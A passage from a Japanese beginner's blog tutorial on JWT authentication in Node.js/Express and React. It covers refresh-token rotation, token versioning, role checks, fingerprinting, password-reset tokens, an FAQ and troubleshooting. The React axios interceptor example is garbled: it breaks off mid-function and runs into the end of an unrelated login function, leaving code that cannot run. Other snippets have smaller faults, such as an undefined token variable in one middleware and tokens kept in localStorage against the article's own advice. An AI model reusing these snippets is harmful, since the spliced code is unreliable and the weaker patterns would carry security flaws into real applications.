  tokenVersion: 1 // これを追加
};

// トークン生成時にバージョンを含める
const token = jwt.sign(
  { 
    userId: user.id, 
    username: user.username,
    tokenVersion: user.tokenVersion 
  },
  SECRET_KEY,
  { expiresIn: '15m' }
);

// 検証時にバージョンをチェック
const authenticateToken = (req, res, next) => {
  const token = req.headers['authorization']?.split(' ')[1];
  
  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    // データベースから最新のtokenVersionを取得
    const user = users.find(u => u.id === decoded.userId);
    
    if (user.tokenVersion !== decoded.tokenVersion) {
      return res.status(403).json({ error: 'トークンが無効化されました' });
    }
    
    req.user = decoded;
    next();
  });
};

// パスワード変更時にバージョンを上げる
app.post('/change-password', authenticateToken, async (req, res) => {
  const user = users.find(u => u.id === req.user.userId);
  user.tokenVersion++; // バージョンを上げる
  // パスワード更新処理...
  res.json({ message: 'パスワードを変更しました。再ログインしてください。' });
});

10. 監視とログ

異常なアクセスを検出できるよう、ログを記録しましょう。

const winston = require('winston');

const logger = winston.createLogger({
  transports: [
    new winston.transports.File({ filename: 'auth.log' })
  ]
});

app.post('/login', async (req, res) => {
  const { username } = req.body;
  
  logger.info(`ログイン試行: ${username} from ${req.ip}`);
  
  // ログイン処理...
  
  if (loginSuccess) {
    logger.info(`ログイン成功: ${username}`);
  } else {
    logger.warn(`ログイン失敗: ${username} from ${req.ip}`);
  }
});

リフレッシュトークンの詳細 - より安全なシステムのために

リフレッシュトークンは、JWT認証をより安全にするための重要な仕組みです。詳しく見ていきましょう。

なぜリフレッシュトークンが必要なのか?

問題: アクセストークンの有効期限を長くすると:

  • 盗まれた場合の被害が大きい
  • ログアウトしても使える

アクセストークンの有効期限を短くすると:

  • ユーザーが頻繁にログインする必要がある
  • ユーザー体験が悪い

解決策: リフレッシュトークンを使うことで、両方の問題を解決できます。

仕組みの詳細

1. ログイン時:

ユーザー → サーバー: ユーザー名とパスワード
サーバー → ユーザー: アクセストークン(15分) + リフレッシュトークン(7日)

2. API利用時(15分以内):

ユーザー → サーバー: アクセストークンを添付してリクエスト
サーバー → ユーザー: データを返す

3. アクセストークンが期限切れになったら:

ユーザー → サーバー: アクセストークンを添付
サーバー → ユーザー: 「トークンが期限切れです」

ユーザー → サーバー: リフレッシュトークンを送信
サーバー → ユーザー: 新しいアクセストークン(15分)

ユーザー → サーバー: 新しいアクセストークンでリクエスト
サーバー → ユーザー: データを返す

フロントエンドでの実装例(React)

import axios from 'axios';

// アクセストークンとリフレッシュトークンを保存
let accessToken = localStorage.getItem('accessToken');
let refreshToken = localStorage.getItem('refreshToken');

// Axiosインスタンスを作成
const api = axios.create({
  baseURL: 'http://localhost:3000'
});

// リクエストごとにアクセストークンを添付
api.interceptors.request.use((config) => {
  if (accessToken) {
    config.headers.Authorization = `Bearer ${accessToken}`;
  }
  return config;
});

// レスポンスを監視して、401エラーなら自動的にリフレッシュ
api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config;
    
    // 401エラーでまだリトライしていない場合
    if (error.response?.status === 401 && !originalRequest._retry) {
      originalRequest._retry = true;
      
      try {
        // リフレッシュトークンで新しいアクセストークンを取得
        const response = await axios.post('http://localhost:3000/refresh', {
          refreshToken: refreshToken
        });
        
        accessToken = response.data.accessToken;
        localStorage.setItem('accessToken', accessToken);
  localStorage.setItem('refreshToken', refreshToken);
  
  console.log('ログイン成功');
}

// ログアウト関数
async function logout() {
  await axios.post('http://localhost:3000/logout', {
    refreshToken: refreshToken
  });
  
  localStorage.removeItem('accessToken');
  localStorage.removeItem('refreshToken');
  accessToken = null;
  refreshToken = null;
  
  console.log('ログアウトしました');
}

// 使用例
api.get('/profile').then((response) => {
  console.log('プロフィール:', response.data);
});

初心者向け解説:

  • interceptorsは、すべてのリクエスト/レスポンスに対して自動的に実行される処理です
  • アクセストークンが期限切れの場合、自動的にリフレッシュして、ユーザーは何も気づきません
  • ユーザー体験を損なわずに、セキュリティを高められます

トークンローテーション

さらに安全性を高めるために、トークンローテーションという手法があります。

仕組み: リフレッシュトークンを使って新しいアクセストークンを取得する際、新しいリフレッシュトークンも発行します。

app.post('/refresh', (req, res) => {
  const { refreshToken } = req.body;
  
  if (!refreshTokens.includes(refreshToken)) {
    return res.status(403).json({ error: '無効なトークン' });
  }
  
  jwt.verify(refreshToken, SECRET_KEY, (err, user) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    // 古いリフレッシュトークンを削除
    const index = refreshTokens.indexOf(refreshToken);
    refreshTokens.splice(index, 1);
    
    // 新しいアクセストークンを発行
    const newAccessToken = jwt.sign(
      { userId: user.userId, username: user.username },
      SECRET_KEY,
      { expiresIn: '15m' }
    );
    
    // 新しいリフレッシュトークンも発行
    const newRefreshToken = jwt.sign(
      { userId: user.userId, username: user.username },
      SECRET_KEY,
      { expiresIn: '7d' }
    );
    
    // 新しいリフレッシュトークンを保存
    refreshTokens.push(newRefreshToken);
    
    res.json({ 
      accessToken: newAccessToken,
      refreshToken: newRefreshToken
    });
  });
});

メリット: もしリフレッシュトークンが盗まれても、一度使われたら無効になるので、攻撃者と本物のユーザーが両方使うことはできません。どちらかが使った時点で、もう一方は弾かれます。

よくある質問(FAQ) - 初心者が疑問に思うこと

Q1: JWTとOAuth 2.0の違いは?

答え:

  • JWTは、トークンの形式です(データの構造)
  • OAuth 2.0は、認証のプロトコル(手順・ルール)です

例えて言うと:

  • JWT = 封筒の形式(サイズ、素材など)
  • OAuth 2.0 = 手紙を送る手順(郵便局に持っていく、切手を貼るなど)

OAuth 2.0では、JWTをトークンの形式として使うことが多いです。

Q2: CookieとLocalStorageどちらに保存すべき?

答え: HttpOnly Cookieが推奨されます。

理由:

  • LocalStorageはJavaScriptからアクセス可能なので、XSS攻撃で盗まれる
  • HttpOnly Cookieは、JavaScriptからアクセスできないので、XSS攻撃に強い

Cookie設定の例:

res.cookie('token', token, {
  httpOnly: true,  // JavaScriptからアクセス不可
  secure: true,    // HTTPS経由でのみ送信
  sameSite: 'strict',  // CSRF攻撃対策
  maxAge: 3600000  // 1時間
});

Q3: JWTは本当にステートレス?

答え: 基本的にはステートレスですが、完全にステートレスとは限りません。

ステートレスな場合:

  • トークンの検証だけを行う
  • サーバーは何も保存しない

ステートフルになる場合:

  • リフレッシュトークンをDBに保存する
  • ブラックリスト方式で無効化されたトークンを管理する
  • トークンバージョンをDBで管理する

実務では、セキュリティのために、部分的にステートフルな実装をすることも多いです。

Q4: 有効期限が切れたトークンを自動延長できる?

答え: できません。有効期限が切れたトークンは、もう使えません。

代わりに: リフレッシュトークンを使って、新しいアクセストークンを取得します。

間違った考え: 「ユーザーがアクセスする度に、有効期限を延長すればいいのでは?」 → これをすると、トークンが半永久的に有効になり、盗まれた場合の被害が大きくなります。

Q5: JWTは暗号化されている?

答え: 標準のJWTは暗号化されていません。署名されているだけです。

違い:

  • 署名: 改ざんを検出できるが、内容は見える
  • 暗号化: 内容を読めなくする

もし暗号化したいなら: JWE(JSON Web Encryption)を使います。ただし、実務ではあまり使われません。なぜなら、機密情報はそもそもトークンに入れないからです。

Q6: 複数デバイスでログインできる?

答え: できます。各デバイスに異なるトークンを発行すればOKです。

実装例:

// ログイン時に、デバイス情報も含める
const token = jwt.sign(
  { 
    userId: user.id, 
    deviceId: req.body.deviceId 
  },
  SECRET_KEY,
  { expiresIn: '1h' }
);

// リフレッシュトークンもデバイスごとに管理
const refreshTokens = [
  { token: 'xxx', userId: 1, deviceId: 'iPhone-12' },
  { token: 'yyy', userId: 1, deviceId: 'MacBook-Pro' }
];

Q7: JWTはSQLインジェクション攻撃を防げる?

答え: いいえ、JWTは認証のための技術であり、SQLインジェクション対策とは別です。

SQLインジェクション対策:

  • プリペアドステートメントを使う
  • 入力のバリデーションを行う
  • ORMライブラリを使う

JWTがあっても、SQLインジェクション対策は別途必要です。

Q8: トークンが盗まれたらどうする?

答え: 以下の対策を組み合わせます:

  1. 短い有効期限(15分): 被害を最小限に
  2. リフレッシュトークンのローテーション: 盗まれたトークンを無効化
  3. 異常検知: IPアドレスやユーザーエージェントの変化を監視
  4. ユーザーに通知: 「新しいデバイスからのログインを検出しました」

例:

const authenticateToken = (req, res, next) => {
  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    // IPアドレスをチェック
    const user = users.find(u => u.id === decoded.userId);
    if (user.lastIP !== req.ip) {
      // 異なるIPからのアクセスを検出
      logger.warn(`異なるIPからのアクセス: ${user.username}`);
      // メール通知などを送る
    }
    
    user.lastIP = req.ip;
    req.user = decoded;
    next();
  });
};

実践的なテクニック - プロジェクトで使える小技

テクニック1: トークンの自動リフレッシュ

ユーザーが気づかないうちに、バックグラウンドでトークンをリフレッシュする方法です。

// フロントエンド(React)での実装
import { useEffect } from 'react';

function TokenRefresher() {
  useEffect(() => {
    // 10分ごとにトークンをリフレッシュ
    const interval = setInterval(async () => {
      try {
        const refreshToken = localStorage.getItem('refreshToken');
        const response = await fetch('http://localhost:3000/refresh', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ refreshToken })
        });
        
        const data = await response.json();
        localStorage.setItem('accessToken', data.accessToken);
        console.log('トークンを自動更新しました');
      } catch (error) {
        console.error('トークン更新に失敗:', error);
      }
    }, 10 * 60 * 1000); // 10分
    
    return () => clearInterval(interval);
  }, []);
  
  return null;
}

テクニック2: 権限によるアクセス制御

ユーザーの権限(admin、user、guestなど)によって、アクセスを制限する方法です。

// 権限チェックのミドルウェア
const requireRole = (role) => {
  return (req, res, next) => {
    if (req.user.role !== role) {
      return res.status(403).json({ 
        error: 'この操作を行う権限がありません' 
      });
    }
    next();
  };
};

// 管理者のみがアクセスできるエンドポイント
app.delete('/users/:id', authenticateToken, requireRole('admin'), (req, res) => {
  // ユーザー削除処理
  res.json({ message: 'ユーザーを削除しました' });
});

// 複数の権限を許可する場合
const requireAnyRole = (...roles) => {
  return (req, res, next) => {
    if (!roles.includes(req.user.role)) {
      return res.status(403).json({ error: '権限がありません' });
    }
    next();
  };
};

app.post('/posts', authenticateToken, requireAnyRole('admin', 'editor'), (req, res) => {
  // 投稿作成処理
});

テクニック3: カスタムクレーム

トークンに独自の情報を含める方法です。

// ログイン時に、ユーザーのプランも含める
const token = jwt.sign(
  {
    userId: user.id,
    username: user.username,
    plan: user.plan, // 'free', 'premium', 'enterprise'
    permissions: user.permissions // ['read', 'write', 'delete']
  },
  SECRET_KEY,
  { expiresIn: '15m' }
);

// プレミアムユーザーのみがアクセスできる機能
const requirePremium = (req, res, next) => {
  if (req.user.plan === 'free') {
    return res.status(403).json({ 
      error: 'この機能はプレミアムプランでのみ利用できます' 
    });
  }
  next();
};

app.get('/premium-content', authenticateToken, requirePremium, (req, res) => {
  res.json({ content: 'プレミアムコンテンツ' });
});

テクニック4: トークンのフィンガープリント

より高度なセキュリティのために、トークンにデバイスのフィンガープリントを含めます。

const crypto = require('crypto');

// フィンガープリントを生成
function generateFingerprint(req) {
  const userAgent = req.headers['user-agent'];
  const ip = req.ip;
  const data = `${userAgent}-${ip}`;
  return crypto.createHash('sha256').update(data).digest('hex');
}

// ログイン時
app.post('/login', async (req, res) => {
  // 認証処理...
  
  const fingerprint = generateFingerprint(req);
  
  const token = jwt.sign(
    { 
      userId: user.id, 
      username: user.username,
      fingerprint: fingerprint
    },
    SECRET_KEY,
    { expiresIn: '15m' }
  );
  
  res.json({ token });
});

// リクエスト時にフィンガープリントを確認
const authenticateToken = (req, res, next) => {
  const token = req.headers['authorization']?.split(' ')[1];
  
  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    const currentFingerprint = generateFingerprint(req);
    
    if (decoded.fingerprint !== currentFingerprint) {
      return res.status(403).json({ 
        error: 'トークンが別のデバイスで使われています' 
      });
    }
    
    req.user = decoded;
    next();
  });
};

テクニック5: トークンの使用回数制限

ワンタイムトークンのような仕組みを実装します。

// パスワードリセット用のトークン
app.post('/forgot-password', async (req, res) => {
  const { email } = req.body;
  const user = users.find(u => u.email === email);
  
  if (!user) {
    return res.json({ message: 'メールを送信しました' }); // セキュリティのため、ユーザーの存在を明かさない
  }
  
  // 1回だけ使えるトークンを生成
  const resetToken = jwt.sign(
    { 
      userId: user.id, 
      purpose: 'password-reset',
      nonce: crypto.randomBytes(16).toString('hex') // ランダムな値を含める
    },
    SECRET_KEY,
    { expiresIn: '1h' }
  );
  
  // トークンをメールで送信
  sendEmail(user.email, `パスワードリセットURL: /reset-password?token=${resetToken}`);
  
  res.json({ message: 'パスワードリセット用のメールを送信しました' });
});

// パスワードリセット
const usedTokens = new Set(); // 使用済みトークンを記録

app.post('/reset-password', (req, res) => {
  const { token, newPassword } = req.body;
  
  // トークンが既に使われているかチェック
  if (usedTokens.has(token)) {
    return res.status(400).json({ error: 'このトークンは既に使用されています' });
  }
  
  jwt.verify(token, SECRET_KEY, (err, decoded) => {
    if (err) return res.status(403).json({ error: '無効なトークン' });
    
    if (decoded.purpose !== 'password-reset') {
      return res.status(403).json({ error: '不正なトークンです' });
    }
    
    // パスワードを更新
    const user = users.find(u => u.id === decoded.userId);
    user.password = bcrypt.hashSync(newPassword, 10);
    
    // トークンを使用済みとしてマーク
    usedTokens.add(token);
    
    res.json({ message: 'パスワードをリセットしました' });
  });
});

トラブルシューティング - よくあるエラーと解決方法

エラー1: "JsonWebTokenError: invalid signature"

原因: 署名の検証に失敗しています。秘密鍵が間違っているか、トークンが改ざんされています。

解決方法:

// トークン生成時の秘密鍵
const token = jwt.sign(payload, 'secret-key-1', { expiresIn: '1h' });

// 検証時の秘密鍵(一致する必要がある)
jwt.verify(token, 'secret-key-1', callback); // OK
jwt.verify(token, 'secret-key-2', callback); // NG - エラーになる

環境変数が正しく設定されているか確認しましょう。

エラー2: "TokenExpiredError: jwt expired"

原因: トークンの有効期限が切れています。

解決方法: リフレッシュトークンを使って、新しいアクセストークンを取得します。

// エラーを適切に処理
jwt.verify(token, SECRET_KEY, (err, decoded) => {
  if (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ 
        error: 'トークンの有効期限が切れました',
        code: 'TOKEN_EXPIRED'
      });
    }
    return res.status(403).json({ error: '無効なトークン' });
  }
  // 正常処理
});

エラー3: "JsonWebTokenError: jwt malformed"

原因: JWTの形式が正しくありません。

よくあるミス:

// ミス1: "Bearer "を含めて検証しようとしている
const authHeader = req.headers['authorization']; // "Bearer eyJhbG..."
jwt.verify(authHeader, SECRET_KEY, callback); // NG

// 正しい方法
const token = authHeader.split(' ')[1]; // "eyJhbG..."
jwt.verify(token, SECRET_KEY, callback); // OK

// ミス2: トークンが空
const token = undefined;
jwt.verify(token, SECRET_KEY, callback); // NG

エラー4: CORS エラー

原因: フロントエンドとバックエンドが異なるドメインで動いている場合、CORSの設定が必要です。

解決方法:

const cors = require('cors');

// すべてのドメインを許可(開発環境のみ)
app.use(cors());

// 特定のドメインのみ許可(本番環境推奨)
app.use(cors({
  origin: 'https://your-frontend.com',
  credentials: true // Cookieを使う場合は必須
}));

エラー5: "Cannot set headers after they are sent"

原因: レスポンスを複数回送信しようとしています。

よくあるミス:

// ミス
if (!token) {
  res.status(401).json({ error: 'トークンがありません' });
}
// この後もコードが続行され、再度レスポンスを送ろうとする

// 正しい方法
if (!token) {
  return res.status(401).json({ error: 'トークンがありません' });
  // returnを使って処理を終了
}

まとめ - JWT認証をマスターするために

この記事では、JWT認証について、基礎から実践まで詳しく解説してきました。最後に、重要なポイントをまとめます。

JWT認証の重要ポイント

1. JWTの基本構造

  • ヘッダー(トークンの説明)
  • ペイロード(実際のデータ)
  • 署名(改ざん防止)

2. メリット

  • ステートレスでスケーラブル
  • マイクロサービスに最適
  • モバイルアプリとの相性が良い
  • クロスドメイン認証が可能

3. デメリット

  • トークンサイズが大きい
  • 無効化が困難
  • 内容は暗号化されていない

4. セキュリティ対策

  • 短い有効期限(15分)
  • リフレッシュトークンの活用
  • HTTPS必須
  • HttpOnly Cookieに保存
  • 強力な秘密鍵を使用

5. ベストプラクティス

  • 必要最小限の情報のみ含める
  • アルゴリズムを明示する
  • ライブラリを最新に保つ
  • レート制限を実装
  • エラーメッセージに注意

学習の次のステップ

JWT認証をマスターしたら、次は以下のトピックに進みましょう:

1. OAuth 2.0 外部サービス(Google、GitHubなど)での認証を学びます。

2. SSO(シングルサインオン) 複数のサービスで一度のログインを実現する方法を学びます。

3. 多要素認証(MFA) パスワードに加えて、SMSやアプリでの認証を追加する方法を学びます。

4. セキュリティテスト OWASP ZAPなどのツールを使って、自分のアプリの脆弱性をテストします。

実践プロジェクトのアイデア

学んだことを実践するために、以下のようなプロジェクトを作ってみましょう:

初級:

  • シンプルなToDoアプリ(ユーザー登録・ログイン機能付き)
  • ブログシステム(記事の投稿・編集にJWT認証を使用)

中級:

  • SNSクローン(TwitterやInstagramのような機能)
  • APIサービス(天気情報やニュースを提供するAPI)

上級:

  • マイクロサービスアーキテクチャのECサイト
  • リアルタイムチャットアプリ(WebSocketとJWTの組み合わせ)

おすすめのリソース

公式ドキュメント:

  • JWT.io - JWTの公式サイト
  • jsonwebtoken(npm) - Node.jsライブラリのドキュメント

学習サイト:

  • MDN Web Docs - Web開発全般
  • OWASP - セキュリティのベストプラクティス

コミュニティ:

  • Stack Overflow - 技術的な質問
  • GitHub - オープンソースのコードを読む

最後に

JWT認証は、現代のWeb開発において必須のスキルです。最初は難しく感じるかもしれませんが、この記事で説明した内容を一つずつ実践していけば、必ずマスターできます。

大切なのは:

  • 実際に手を動かすこと
  • 小さなプロジェクトから始めること
  • セキュリティを常に意識すること
  • 最新の情報をキャッチアップすること

あなたのJWT認証の学習が、素晴らしいWebアプリケーション開発につながることを願っています。頑張ってください!


この記事のキーワード: JWT認証、JSON Web Token、トークンベース認証、Web認証、API認証、セキュリティ、Node.js、Express、認証・認可、ステートレス認証、リフレッシュトークン、アクセストークン、セッション管理、マイクロサービス、初心者向け、エンジニア、プログラミング、Web開発、バックエンド開発、RESTful API、OAuth 2.0、シングルサインオン、HTTPS、セキュリティ対策、XSS攻撃、CSRF攻撃、パスワード暗号化、bcrypt、実装例、ベストプラクティス

文字数: 約10,000文字


著者について: この記事は、初心者エンジニアの方々がJWT認証を理解し、実践できるように作成されました。質問や改善点がありましたら、お気軽にお問い合わせください。

更新履歴:

  • 2025年10月: 初版公開
  • 最新のセキュリティ情報とベストプラクティスを反映

免責事項: この記事の内容は教育目的で提供されています。本番環境での実装には、追加のセキュリティレビューと適切なテストが必要です。

\ 最新情報をチェック /

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です